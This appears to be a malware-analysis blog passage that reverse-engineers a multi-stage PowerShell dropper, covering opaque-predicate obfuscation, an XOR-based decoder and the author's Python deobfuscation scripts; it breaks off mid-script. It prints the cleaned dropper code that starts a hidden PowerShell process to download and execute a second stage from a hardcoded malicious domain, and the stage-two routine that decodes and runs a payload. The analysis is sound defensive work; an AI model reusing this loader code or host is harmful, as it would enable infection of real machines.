Powershell dropper to Beacon

TL;DR

In-depth analysis of a Powershell dropper:

  • 5 stages malware - from an ASCII-encoded PowerShell dropper down to a custom C2 implant phoning home to a hardcoded IP
  • Obfuscated Powershell scripts with opaq predicats
  • Custom API hashing, aPLib, rolling XOR
  • C2 Beacon with SNI spoofing, json+zip exfiltration, encoded endpoints

Chapter I - The Dropper

This sample was obtained from MalShare and had already been submitted to VirusTotal at the time the analysis began.

1
2
3
4
5
$ file 426ee6bdc96409df556fc0b4129cd18e8d4928fb48511989f211855fc5cf57e3 
426ee6bdc96409df556fc0b4129cd18e8d4928fb48511989f211855fc5cf57e3: ASCII text, with very long lines (13683)

$ wc -l 426ee6bdc96409df556fc0b4129cd18e8d4928fb48511989f211855fc5cf57e3
1 426ee6bdc96409df556fc0b4129cd18e8d4928fb48511989f211855fc5cf57e3

The payload consists of a single-line PowerShell script that begins with & (gal i*x), an obfuscated alias for Invoke-Expression.

The gal expression is an alias for Get-Alias and i*x matches iex. So this expression is dynamically resolved as:

1
2
& (Get-Alias iex).Definition
Invoke-Expression

This technique avoids embedding the Invoke-Expression keyword directly in the command line, helping the script evade basic static inspection and signature-based detection.

The payload continuation consists of an array of decimal values representing ASCII character codes.
These values are converted into characters, concatenated into a string, and then executed.

1
2
3
& (gal i*x)(-join((119,104,105,108,101,32,40,36,102,97,108,115,101,41,32,123,13,10,32,32,32,32,36,115,
[...]
,78,117,108,108,13,10,13,10)|%{[char]$_}));& ([scriptblock]::Create((('e'+'xi'+'t') -join '')))

This decoding step can be handled with a simple Python script:

1
2
3
4
5
6
7
8
9
10
11
$ file first_stage_decode.out 
first_stage_decode.out: ASCII text, with very long lines (1969), with CRLF line terminators

$ cat first_stage_decode.out
while ($false) {
$startDate = (Get-Date).AddDays(-10); $endDate = Get-Date; $timeSpan = New-TimeSpan -Start $startDate -End $endDate; Write-Verbose "Calculated time span: $($timeSpan.TotalHours) hours"
}
$TqyNfI = [System.Guid]::NewGuid().ToString(); $TqyNfI.Substring(0, 10) | Out-Null; $TqyNfI = $null
if ((Get-Random -Minimum 1000 -Maximum 5000) -lt 0) {
$configTab
......

The decoded output largely consists of dead code paths (while ($false), impossible conditions, unused variables), serving as camouflage rather than functional logic.

Only the final part of the script contains meaningful behavior. Here is a cleaned and commented version of this section:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Build path to PowerShell (SysWOW64)
# >>> ''.join(chr(i) for i in [92,83,121,115,87,79,87,54,52,92,87,105,110,100,111,119,115,80,111,119,101,114,83,104,101,108,108,92,118,49,46,48,92,112,111,119,101,114,115,104,101,108,108,46,101,120,101])
'\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
$fmezxhxqapbmydfiedxfvpyiifrvng = @(
92,83,121,115,87,79,87,54,52,92,
87,105,110,100,111,119,115,80,
111,119,101,114,83,104,101,108,
108,92,118,49,46,48,92,112,111,
119,101,114,115,104,101,108,108,
46,101,120,101
)

$snnkyexsmdixncgunoofgztcqrrnwu =
$env:WINDIR + (-join [char[]]$fmezxhxqapbmydfiedxfvpyiifrvng)

# Generate random 8-character string
$rndSub = -join (
[char[]](48..57 + 65..90 + 97..122) | Get-Random -Count 8
)

# Prepare PowerShell process
$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb =
New-Object System.Diagnostics.ProcessStartInfo

$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb.FileName =
$snnkyexsmdixncgunoofgztcqrrnwu

$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb.Arguments =
'-C "
SV t6r ''Net.WebClient'';
SV kx9 ''68747470733a2f2f''; # https://
SV mw4 ''' + $rndSub + '.packet-691-router5-matrix.in.net/ast-23-dlv'';

SV bd7 (
([Text.Encoding]::UTF8.GetString(
([regex]::Matches((GV kx9).Value,''..'').Value |
% { [byte](''0x'' + $_) }
))) + (GV mw4).Value
);

Set-Item Variable:\Qp2 (
.(GV *uti*t).Value.InvokeCommand.
(((GV *uti*t).Value.InvokeCommand | GM |
? { $_.Name -ilike ''*md*t'' }).Name).
Invoke(
(GV *uti*t).Value.InvokeCommand.
(((GV *uti*t).Value.InvokeCommand.PSObject.Methods |
? { $_.Name -ilike ''*nd*e'' }).Name).
Invoke(''*w-*ct'', 1, $TRUE)
)
(LS Variable:t6r).Value
);

SV fs8 (
(((ChildItem Variable:/Qp2).Value | GM) |
? { $_.Name -ilike ''D*dS*g'' }).Name
);

Invoke-Expression (
(ChildItem Variable:/Qp2).Value.
((Variable fs8).Value).
Invoke((ChildItem Variable:/bd7).Value)
)
"'

$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb.UseShellExecute = $true
$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb.CreateNoWindow = $true
$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb.WindowStyle =
[System.Diagnostics.ProcessWindowStyle]::Hidden

# Execute second-stage loader
[System.Diagnostics.Process]::Start(
$rdcvrxyzhrgfhqoqyrnbucnnrfuuvb
)

To sum up, this part downloads and executes a second-stage payload from a hardcoded URL, using a randomly generated 8‑byte ASCII string as a subdomain prefix.

1
https://XXXXXXXX.packet-691-router5-matrix.in.net/ast-23-dlv

This random subdomain likely serves to bypass simple IDS or proxy rules that rely on static hostname matching ¯\_(ツ)_/¯

Let’s download this second stage !

Chapter II - Powershell wall

1
2
3
4
$ file ast-23-dlv 
ast-23-dlv: ASCII text, with very long lines (612), with CRLF line terminators
$ wc -l ast-23-dlv
77015 ast-23-dlv

77015 lines… Time to climb that wall.
Here is an extract of the file content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$TW8bAqZSXKhoJRm2qhgX8Eeq = 422
$rV7ww9cs8nCZYZWkyQfnfiI = 9
$ntnGp2zb7rV1 = 525
$IhoaK98nPblypArxQJY = 185
$XvXgG3xQ87bCo8RkVf0c6eE = 939
$M9DE59qUGkB7ipUtkkj = 821
$c8tCF2apx7iZhb = 25
$gWM9sdCxuZBQdXh = 495
$AZ83Q70i32PvrYb0tnyeVvr = 109
[. . .]
$xqT9ygYFP8CBFZM = (((46+45-45)+((((((((48)+(36))+(14))+($AN6ZsNgElm9F))+(35))+(30))+(5)))))
$d666Xe8BE9pvSlrmXzprQI = (((11+4-4)+(((((((34)+(20))-(30))-($pi6ZrgEnQnq9PU))-(17))+(18)))))
$Lg5KFyJDhyHjHL0iTS4GWnY7 = ((((((((((494)+51-51)+77-77)+46-46)+($XVo3J2kZMuvfQr4fAJZmGM6U)-($XVo3J2kZMuvfQr4fAJZmGM6U))))+((((21+16-16)+(((13+40-40)+(22))))))+($Y8fu6qRMS4wJBn4qDW)-($Y8fu6qRMS4wJBn4qDW)+41-41))+((((((((((15)-($Hz9W1vYu453mlB))+(1))+(16))+(24))+(29))+(36))-(41))))+($AN6ZsNgElm9F)-($AN6ZsNgElm9F)+43-43)
$tg6dYlfjo = (4266-0)
[. . .]

This stage relies on opaque predicate obfuscation. Most variables are assigned either constant integers or values derived from arithmetic expressions that always evaluate to a fixed result at runtime.
Several recurring opaque predicate patterns can be identified, such as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
+($XVo3J2kZMuvfQr4fAJZmGM6U)-($XVo3J2kZMuvfQr4fAJZmGM6U)))
...
if(7371221274 -lt 7371221274){$jY7zS7oerM9h2SpemC = 3103}
...
$qp55Uw32oC3lg8htxAW = 1
switch($qp55Uw32oC3lg8htxAW){
1 { $VP1Oz80k1eHmP1HdTkbZD = 193 }
2 { $cS3h5Q3Ahd = 983 }
default { $eNl7XAVfJVbQK = 727 }
}
...
if((21-40-30)-32-42 -gt (4-12+38)
...

As with the first stage, only the final lines are meaningful. Here is a cleaned version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$Tel36FKzNOMMTJ0Zw2L=@(69,105,103,110,90,65,119,........ more than 8Mb)

# Resolve a .NET type dynamically
$BI2XwC9wFOrfz = ($Ay3Z8vAatu -as [Type])::($TsU1UTHhlHj5NBocEj)

# Call a method on another type using the first resolved type
$rsBI39wRvtMW = ($TmnZL0McTiDLIqGuSPKmdXth -as [Type])::($qsha3bbBR08GK7l8poQMCHa)(
$BI2XwC9wFOrfz.($ne0ENHDZjmcjetkabV9PR)($Tel36FKzNOMMTJ0Zw2L)
)

# Get an object from a variable (using Get-Variable alias)
$Kuq5d2eimejYID64wNLC = (gv $Ue1V4JcIe2CZvjMCC50sh5nI).Value.($q0gJc6fccRxSpzFIhUpE8ia)

# Call a method on that object ?
$Kuq5d2eimejYID64wNLC.($pY67EwwMY50Iz0Y).($xLs76kG6cfTfMvQT)(
$BI2XwC9wFOrfz.($ne0ENHDZjmcjetkabV9PR)(
$(
# Loop to decode each byte of the payload
for ($Or5HDBCM8EIuhygy9 = 0; $Or5HDBCM8EIuhygy9 -lt $rsBI39wRvtMW.($SgW1jwhIBD); ) {
for ($Rhyg63WKKAHkbWtgMYm9 = 0; $Rhyg63WKKAHkbWtgMYm9 -lt $COkqT08sY8T1iLJdS73MvULo.($SgW1jwhIBD); $Rhyg63WKKAHkbWtgMYm9++) {
$LXi3xT6U75h2 = $rsBI39wRvtMW[$Or5HDBCM8EIuhygy9]
$En8IHloEfNj = [byte][char]$COkqT08sY8T1iLJdS73MvULo[$Rhyg63WKKAHkbWtgMYm9]

# Decode logic using bitwise operations ?
[byte](($LXi3xT6U75h2 + $En8IHloEfNj) - 2*($LXi3xT6U75h2 -band $En8IHloEfNj))

$Or5HDBCM8EIuhygy9++
if ($Or5HDBCM8EIuhygy9 -ge $rsBI39wRvtMW.($SgW1jwhIBD)) {
$Rhyg63WKKAHkbWtgMYm9 = $COkqT08sY8T1iLJdS73MvULo.($SgW1jwhIBD)
}
}
}
)
)
)

To clean this code section, I chose to implement an AST-based deobfuscator. While arguably overkill for this sample, the AST approach ensures the deobfuscator won’t break if the builder gets smarter 😄.
Once all strings are statically resolved using custom Python tooling, the underlying Stage-2 payload becomes readable and can be properly deobfuscated.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import re
import ast
import operator

OPS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.floordiv,
}

def eval_expr(expr):
def _eval(node):
if isinstance(node, ast.Constant):
return node.value
if isinstance(node, ast.BinOp):
return OPS[type(node.op)](_eval(node.left), _eval(node.right))
raise ValueError("Unsupported expression")

expr = expr.replace('[int]', '')
tree = ast.parse(expr, mode='eval')
return _eval(tree.body)


variables = {}


ps_assignments = [
"$xxHm88sR=((83+594+101)-594-101);$lVqup3VsNzmcswmypv=((121+422+120)-422-120);$Zgx6K28y2mm=((115+889+73)-889-73);$hJ5O6BE8HkqBEnPvrjRe6ONk=(((116+11)-11)+26-26);$Wy9b3vWRUdu=[int]((101*7)/7);$Sk2Zizdj9=((109+884+164)-884-164);$t6Xu8Wba8MkbPcEEDHC=163-117;$hj72l6Ef5=((67+468+157)-468-157);$wlgtd0fR1b6l3jzmDNo3BbU=((111+662+80)-662-80);$ldXWO74Pl5pvmBARR=((4*4)+94);$DMd1cbzd88WzHZPu=[int]((118*3)/3);$B06fvWle=792-548-143;$wGO8KMss2Lbr0axLTLKy=((114+273+124)-273-124);$LP9MoNPHvStPwcW=((17*4)+48);$TmnZL0McTiDLIqGuSPKmdXth=([char][int]$xxHm88sR+[char][int]$lVqup3VsNzmcswmypv+[char][int]$Zgx6K28y2mm+[char][int]$hJ5O6BE8HkqBEnPvrjRe6ONk+[char][int]$Wy9b3vWRUdu+[char][int]$Sk2Zizdj9+[char][int]$t6Xu8Wba8MkbPcEEDHC+[char][int]$hj72l6Ef5+[char][int]$wlgtd0fR1b6l3jzmDNo3BbU+[char][int]$ldXWO74Pl5pvmBARR+[char][int]$DMd1cbzd88WzHZPu+[char][int]$B06fvWle+[char][int]$wGO8KMss2Lbr0axLTLKy+[char][int]$LP9MoNPHvStPwcW)",
"$MWGf54mxR577=(((83+17)-17)+23-23);$k5Ym4cCyK=356-104-131;$izE1zkscd3s=[int]((115*7)/7);$i51yjIWxXyvmzUC4Cd2h=((116+800+87)-800-87);$Ez4AuRLNT=1010-806-103;$Tg9ovxlXO3LmHfVzd9=((109+690+173)-690-173);$YEo6DAm9a6ihyI8M3EHWcF=816-592-178;$Tn869hwX=((20*4)+4);$GpIJ22tenp=819-603-115;$wh64vLQe7jA=[int]((120*4)/4);$M71vJwkkjHvyaWOTYU=((19*4)+40);$VAmI3Cv0VXzNzZ=((9*4)+10);$o98FDYzcZOLrZzymnKS=345-276;$Vkr2N8iyYu=1118-906-102;$GBEP4z5jbsnhjA=((99+112+114)-112-114);$qAV021cUpOUksG2Y3gMXBatZ=((30*3)+21);$yUMWb2yiwIMzE91eVi=((100+966+135)-966-135);$gNCpx14AtIXKLY3Yx9DhxUvC=[int]((105*3)/3);$CR4ED3vEQpJlKpv1WDYzUWrx=[int]((110*7)/7);$AJRS0XEXFhlDxSCWaukxMMhu=((6*2)+91);$Ay3Z8vAatu=([char][int]$MWGf54mxR577+[char][int]$k5Ym4cCyK+[char][int]$izE1zkscd3s+[char][int]$i51yjIWxXyvmzUC4Cd2h+[char][int]$Ez4AuRLNT+[char][int]$Tg9ovxlXO3LmHfVzd9+[char][int]$YEo6DAm9a6ihyI8M3EHWcF+[char][int]$Tn869hwX+[char][int]$GpIJ22tenp+[char][int]$wh64vLQe7jA+[char][int]$M71vJwkkjHvyaWOTYU+[char][int]$VAmI3Cv0VXzNzZ+[char][int]$o98FDYzcZOLrZzymnKS+[char][int]$Vkr2N8iyYu+[char][int]$GBEP4z5jbsnhjA+[char][int]$qAV021cUpOUksG2Y3gMXBatZ+[char][int]$yUMWb2yiwIMzE91eVi+[char][int]$gNCpx14AtIXKLY3Yx9DhxUvC+[char][int]$CR4ED3vEQpJlKpv1WDYzUWrx+[char][int]$AJRS0XEXFhlDxSCWaukxMMhu)",
"$TF6ByYqDBdrZS64X=767-591-91;$lasL7raaOPM0dQYxqoND=871-787;$ZN2ZJ6TnTl860v59IZZwKgvp=((8*4)+38);$JJ22VJVBZz2nR=346-290;$TsU1UTHhlHj5NBocEj=([char][int]$TF6ByYqDBdrZS64X+[char][int]$lasL7raaOPM0dQYxqoND+[char][int]$ZN2ZJ6TnTl860v59IZZwKgvp+[char][int]$JJ22VJVBZz2nR)",
"$KY6qnbh4skNQq2OHP1Uy=868-798;$lCprG4K00n8lnvATj=((114+806+102)-806-102);$oF7T598qSiOB=948-657-180;$LxAm5evtofyOrdYZ=980-871;$h6Pwz9AVMIAOZc=((13*4)+14);$v816KbIs6=511-286-128;$Th1Anrc1vb75DmfSLh8BEbxz=(((115+12)-12)+12-12);$AqB8m4fK6TroC=((6*4)+77);$tVEz4SjH6mk77lUhOBhgop=796-742;$lyeP32wovkYEM=502-387-63;$Q3dM8624J7TSKqS8VllRO=1187-959-145;$rr8JMU9mZQ=((116+153+63)-153-63);$j2IgU3S9=(((114+28)-28)+16-16);$wG6TPvvKErzw8qO=648-543;$UVg29jZiDBL11O=((24*2)+62);$qIl2lGnjZimvVK=851-748;$qsha3bbBR08GK7l8poQMCHa=([char][int]$KY6qnbh4skNQq2OHP1Uy+[char][int]$lCprG4K00n8lnvATj+[char][int]$oF7T598qSiOB+[char][int]$LxAm5evtofyOrdYZ+[char][int]$h6Pwz9AVMIAOZc+[char][int]$v816KbIs6+[char][int]$Th1Anrc1vb75DmfSLh8BEbxz+[char][int]$AqB8m4fK6TroC+[char][int]$tVEz4SjH6mk77lUhOBhgop+[char][int]$lyeP32wovkYEM+[char][int]$Q3dM8624J7TSKqS8VllRO+[char][int]$rr8JMU9mZQ+[char][int]$j2IgU3S9+[char][int]$wG6TPvvKErzw8qO+[char][int]$UVg29jZiDBL11O+[char][int]$qIl2lGnjZimvVK)",
"$Ty8SAuzYh4u5g2qa0ImHrfmO=[int]((71*2)/2);$eX8tNqE4l4V0P1BXg8nvwDe=1235-954-180;$BaJup7iX8Igb=(((116+25)-25)+14-14);$Byf6n0Qm=490-242-165;$XSai3xUcKcg0iU6SiidQ=354-134-104;$Y7T5Pmm7=793-623-56;$B6U88GeZhcNMlukHqUVGe=469-219-145;$caIM12S1K2sxVenTV=((110+799+164)-799-164);$iYW5kpyyqnLUFLSu=[int]((103*5)/5);$ne0ENHDZjmcjetkabV9PR=([char][int]$Ty8SAuzYh4u5g2qa0ImHrfmO+[char][int]$eX8tNqE4l4V0P1BXg8nvwDe+[char][int]$BaJup7iX8Igb+[char][int]$Byf6n0Qm+[char][int]$XSai3xUcKcg0iU6SiidQ+[char][int]$Y7T5Pmm7+[char][int]$B6U88GeZhcNMlukHqUVGe+[char][int]$caIM12S1K2sxVenTV+[char][int]$iYW5kpyyqnLUFLSu)",
"$meg2SorXDJaeHuxPRfyKmgF=(((73+13)-13)+14-14);$XqafP8zebppbVuOvo=600-490;$tuQyG4f2DkrFAyHfRRt8BBv=((18*4)+46);$lj3BfdnNc3bB7g5Wdv=((14*4)+55);$pFL1x18BegLrJT=(((107+19)-19)+38-38);$fRc4sI1JVdyqJnb8EPE=((9*3)+74);$c80qGT1Oobh=((11*4)+23);$IM0zNj5bBuNS3Nw8EfoyDHR=829-718;$q25OhBor=(((109+22)-22)+49-49);$pu88F8wsI9Y=559-450;$uvZh8k7fPhaR=1024-927;$Os4tKjYIS05febDysOWQ=800-690;$Vsa4sRKfatagFU6lrN=436-336;$pY67EwwMY50Iz0Y=([char][int]$meg2SorXDJaeHuxPRfyKmgF+[char][int]$XqafP8zebppbVuOvo+[char][int]$tuQyG4f2DkrFAyHfRRt8BBv+[char][int]$lj3BfdnNc3bB7g5Wdv+[char][int]$pFL1x18BegLrJT+[char][int]$fRc4sI1JVdyqJnb8EPE+[char][int]$c80qGT1Oobh+[char][int]$IM0zNj5bBuNS3Nw8EfoyDHR+[char][int]$q25OhBor+[char][int]$pu88F8wsI9Y+[char][int]$uvZh8k7fPhaR+[char][int]$Os4tKjYIS05febDysOWQ+[char][int]$Vsa4sRKfatagFU6lrN)",
"$LAS4InhOVdNl2bcSJ6na=921-757-91;$g07W0OIcihxxlkhW=581-363-108;$zBpp5lRiBn5YqUI9UKJSr7jK=((118+225+142)-225-142);$rbGc30NKMMYdi0hEyd=((111+752+166)-752-166);$ndjoX7eE=((20*3)+47);$o2s8ZV9UCI=922-821;$IH4Q095XX9Ga5GrYPWc5Byp=[int]((83*2)/2);$hWrQ38BN10FAL9h9BnolXS=((1*2)+97);$hvETh30frFCB4ckGwQqC=((17*2)+80);$UCd7W1CoMMeIE7U=435-330;$I5mQ5AY2g=928-638-178;$mUeWH9FXbsgnp=((116+639+109)-639-109);$xLs76kG6cfTfMvQT=([char][int]$LAS4InhOVdNl2bcSJ6na+[char][int]$g07W0OIcihxxlkhW+[char][int]$zBpp5lRiBn5YqUI9UKJSr7jK+[char][int]$rbGc30NKMMYdi0hEyd+[char][int]$ndjoX7eE+[char][int]$o2s8ZV9UCI+[char][int]$IH4Q095XX9Ga5GrYPWc5Byp+[char][int]$hWrQ38BN10FAL9h9BnolXS+[char][int]$hvETh30frFCB4ckGwQqC+[char][int]$UCd7W1CoMMeIE7U+[char][int]$I5mQ5AY2g+[char][int]$mUeWH9FXbsgnp)",
"$kP81xygX=(((76+19)-19)+35-35);$IVBU1gYqN=778-677;$ZuM7p2w5JoPjnF=(((110+23)-23)+33-33);$JyMYW3Wm=((103+342+156)-342-156);$AG71iFOaEbTYo=512-258-138;$ZG8EwIBVS=480-376;$SgW1jwhIBD=([char][int]$kP81xygX+[char][int]$IVBU1gYqN+[char][int]$ZuM7p2w5JoPjnF+[char][int]$JyMYW3Wm+[char][int]$AG71iFOaEbTYo+[char][int]$ZG8EwIBVS)",
"$cfsjH7pQGejYO1g46=((6*4)+45);$bK2Y453F=274-154;$oRf9mRwsGRJoe6VGiC=761-660;$BCP1HWRHQbLffpw4FG7=(((99+50)-50)+48-48);$PQf7Z7eZdxZ=((20*3)+57);$uuQP1BnvkmYJq7kb9=581-304-161;$Kr82qzK2=((16*2)+73);$YqP8MQbaX=[int]((111*2)/2);$rREop8xYHWSJmp8arkfCHg=((15*4)+50);$DwF4T4ZiBSSnxu=((67+921+113)-921-113);$ZZPC7pTyqDzMkJj=593-482;$EC4DHXoHMbwsv=(((110+38)-38)+44-44);$Cy3vI8rflUm=538-422;$ZG7mG5dqWLQzsFP=606-351-154;$yG6aKpv4Cncnq2moflN9rj=824-620-84;$TN1A5kOM1PgHrqf3=[int]((116*3)/3);$Ue1V4JcIe2CZvjMCC50sh5nI=([char][int]$cfsjH7pQGejYO1g46+[char][int]$bK2Y453F+[char][int]$oRf9mRwsGRJoe6VGiC+[char][int]$BCP1HWRHQbLffpw4FG7+[char][int]$PQf7Z7eZdxZ+[char][int]$uuQP1BnvkmYJq7kb9+[char][int]$Kr82qzK2+[char][int]$YqP8MQbaX+[char][int]$rREop8xYHWSJmp8arkfCHg+[char][int]$DwF4T4ZiBSSnxu+[char][int]$ZZPC7pTyqDzMkJj+[char][int]$EC4DHXoHMbwsv+[char][int]$Cy3vI8rflUm+[char][int]$ZG7mG5dqWLQzsFP+[char][int]$yG6aKpv4Cncnq2moflN9rj+[char][int]$TN1A5kOM1PgHrqf3)"

]

for powershell in ps_assignments:

# Extract assignments
for var, expr in re.findall(r'\$(\w+)\s*=\s*([^;]+);', powershell):
try:
value = eval_expr(expr)
variables[var] = value
except Exception:
pass # skip non-arithmetic assignments

final = []

for var in re.findall(r'\[char\]\[int\]\$(\w+)', powershell):
final.append(chr(variables[var]))

print("".join(final))

And after execution:

1
2
3
4
5
6
7
8
9
10
$ python3 deast.py 
System.Convert
System.Text.Encoding
UTF8
FromBase64String
GetString
InvokeCommand
InvokeScript
Length
ExecutionContext

With all symbolic names resolved, the script becomes significantly more readable and its behavior can now be analyzed directly=:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Large encoded payload 
$EncodedPayload = @(69,105,103,110,90,65,119, ... ) # ~8MB

# Resolve UTF8 Encoding dynamically
$Utf8Encoding = ([System.Text.Encoding] -as [Type])::UTF8

# Base64-decode the payload into a byte array
$Base64PayloadBytes = ([System.Convert] -as [Type])::FromBase64String(
$Utf8Encoding.GetString($EncodedPayload)
)

# Retrieve execution context via Get-Variable (gv alias)
$ExecutionContext = (Get-Variable ExecutionContext).Value.InvokeCommand


$DecodedString = $Utf8Encoding.GetString(
$(
for ($i = 0; $i -lt $Base64PayloadBytes.Length; ) {
for ($j = 0; $j -lt $COkqT08sY8T1iLJdS73MvULo.Length; $j++) {

$ByteA = $Base64PayloadBytes[$i]
$ByteB = [byte][char]$COkqT08sY8T1iLJdS73MvULo[$j]

# XOR implemented via arithmetic/bitwise identity
[byte](($ByteA + $ByteB) - 2 * ($ByteA -band $ByteB))

$i++
if ($i -ge $Base64PayloadBytes.Length) {
$j = $COkqT08sY8T1iLJdS73MvULo.Length
}
}
}
)
)

# Execute decoded payload
$ExecutionContext.InvokeScript($DecodedString)

Notice the following line:
[byte](($ByteA + $ByteB) - 2 * ($ByteA -band $ByteB))
This expression effectively implements an XOR operation without relying on the PowerShell -bxor operator — likely an attempt to evade simple EDR or signature‑based detections ¯\_(ツ)_/¯

We figured out that the payload is decoded as base64, and then xored with a fixed repeated key stored in $COkqT08sY8T1iLJdS73MvULo
Wich relies on others variables…

1
$COkqT08sY8T1iLJdS73MvULo = ([char][int]$KwIz1xBpZ5FAGw + [char][int]$Yid7JSEYBUk + [char][int]$tgVzD2Hp0ByJltk + [char][int]$kQ4301FqYCM + [char][int]$pdl2Bh106vEcNI + [char][int]$Go5erlKk9 + [char][int]$jz0D2cKRGqja + [char][int]$sTN5utmT4rzKAiD0x6c + [char][int]$UZ4E20Wf8gJZwrbl8zJu3Qzp + [char][int]$d38bjTdwNTXmRDlU7I + [char][int]$M405Ro1SD40ea + [char][int]$uiL2nnv5nNwjFzG6nCw + [char][int]$Rv5CKJGaDBM1ZJgSEt3jRi + [char][int]$BM0Lc7c0s2LHrh + [char][int]$wAa60zGYJ00fn5ziJoN + [char][int]$Yx7YAHiA + [char][int]$la7KE7BUPR4xIYd + [char][int]$kZ7NNAeTgpbpQ8ZWaut7n + [char][int]$DSbs7tBvSIaeS9 + [char][int]$m3M5bNEPW8sGf21N1hI1 + [char][int]$Or8q6KX6MpAny + [char][int]$zj11kZJKprKNGb6xcO + [char][int]$qt81tA63wKx38OyhBP + [char][int]$MFN8bGe3)

Using a smart grep and another python script, the key is recovered:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import re

ps_assignments = [
"$KwIz1xBpZ5FAGw = ((29+11-$oQ1NLZYfVLJCg+80-21-$Ko18ko62OJOp9cqU7hzQh9t-(48+24+23+18)+$oQ1NLZYfVLJCg+$Ko18ko62OJOp9cqU7hzQh9t+(79)))",
"$Yid7JSEYBUk = (((4)*3+1)+(64))",
"$tgVzD2Hp0ByJltk = ((50+11-93+99-54+91-$VJGxz6elFk1qE-(26+47)+$VJGxz6elFk1qE+(52)))",
"$kQ4301FqYCM = ((30+15-63-81-19-$Rlw0zUkTuIjAgqAR91S3EuQH-(10+20+19)+$Rlw0zUkTuIjAgqAR91S3EuQH+(240)))",
"$pdl2Bh106vEcNI = ((39+26-$Onaw30jiF+95-29-58-(21+21)+$Onaw30jiF+(64)))",
"$Go5erlKk9 = ((89+26-$HHHa2ZZR2mJ5D-82-86+77-$c8tCF2apx7iZhb-(30+24+38)+$HHHa2ZZR2mJ5D+$c8tCF2apx7iZhb+(150)))",
"$jz0D2cKRGqja = ((21+29-78+15-$oIT1FCKjLyUs-(16+40+14)+$oIT1FCKjLyUs+(152)))",
"$sTN5utmT4rzKAiD0x6c = ((40+30-$aOR3J3N9avGNt0u-66-23-87+91-$c8tCF2apx7iZhb-(45+29+43+12)+$aOR3J3N9avGNt0u+$c8tCF2apx7iZhb+(227)))",
"$UZ4E20Wf8gJZwrbl8zJu3Qzp = ((21+16-$IhoaK98nPblypArxQJY-75-91-(35+20)+$IhoaK98nPblypArxQJY+(269)))",
"$d38bjTdwNTXmRDlU7I = ((51+20-$Ko18ko62OJOp9cqU7hzQh9t-12-50-35-$HHHa2ZZR2mJ5D-(43+21+15)+$Ko18ko62OJOp9cqU7hzQh9t+$HHHa2ZZR2mJ5D+(181)))",
"$M405Ro1SD40ea = ((83+11-$YqRFx7nXmVB-75-21-29-$oIT1FCKjLyUs-(13+18+21+22)+$YqRFx7nXmVB+$oIT1FCKjLyUs+(189)))",
"$uiL2nnv5nNwjFzG6nCw = ((42+25-$GD76xrJX5VxVeVob-95-62+12-74-(41+22+28+27)+$GD76xrJX5VxVeVob+(365)))",
"$Rv5CKJGaDBM1ZJgSEt3jRi = ((86+33-$Onaw30jiF-42-25-(35+14+27)+$Onaw30jiF+(102)))",
"$BM0Lc7c0s2LHrh = ((35+17-$ZOfe2FhjTVq-93-86-(17+12)+$ZOfe2FhjTVq+(235)))",
"$wAa60zGYJ00fn5ziJoN = ((6)+(16)+(18)+(44))",
"$Yx7YAHiA = ((23+36-$txQ59qGsN+46-21-$Pj7Jynr37rF-(12+22+43+32)+$txQ59qGsN+$Pj7Jynr37rF+(120)))",
"$la7KE7BUPR4xIYd = ((59+39-$AA7T6mFnxlUdjZLUHFyOS-36-92-$HHHa2ZZR2mJ5D-(40+20+20)+$AA7T6mFnxlUdjZLUHFyOS+$HHHa2ZZR2mJ5D+(178)))",
"$kZ7NNAeTgpbpQ8ZWaut7n = ((19+20-80-94-$aWT2023Uzc7vgq90EKg7IeXg-(32+28+24)+$aWT2023Uzc7vgq90EKg7IeXg+(288)))",
"$DSbs7tBvSIaeS9 = ((48+41-$TL8HFbhisBP6-69+52-$AZ83Q70i32PvrYb0tnyeVvr-(28+14+27+39)+$TL8HFbhisBP6+$AZ83Q70i32PvrYb0tnyeVvr+(120)))",
"$m3M5bNEPW8sGf21N1hI1 = ((13+48-$pru4G7xeLCJbnSaidHym+99-50+22-(20+12+20+42)+$pru4G7xeLCJbnSaidHym+(31)))",
"$Or8q6KX6MpAny = ((49+39-$M9DE59qUGkB7ipUtkkj-49-85-$HKYu6eFY39V2-(11+11+40+42)+$M9DE59qUGkB7ipUtkkj+$HKYu6eFY39V2+(217)))",
"$zj11kZJKprKNGb6xcO = ((26+41-$aWT2023Uzc7vgq90EKg7IeXg+20+39-$Ko18ko62OJOp9cqU7hzQh9t-(15+24)+$aWT2023Uzc7vgq90EKg7IeXg+$Ko18ko62OJOp9cqU7hzQh9t-(3)))",
"$qt81tA63wKx38OyhBP = ((85+23-$pru4G7xeLCJbnSaidHym+21+22+48-83-(41+34+25)+$pru4G7xeLCJbnSaidHym+(53)))",
"$MFN8bGe3 = ((89+23-42-64-65-50-$HHHa2ZZR2mJ5D-(31+15+40)+$HHHa2ZZR2mJ5D+(263)))",
]

key = ""

def replace_rhs_vars(line):
lhs, rhs = line.split('=', 1)
rhs = re.sub(r'\$[A-Za-z0-9_]+', '0', rhs)
return lhs + '=' + rhs


def calc_char(expr):
lhs, rhs = expr.split('=', 1)
return chr(eval(rhs))

for line in ps_assignments:
payload = replace_rhs_vars(line)
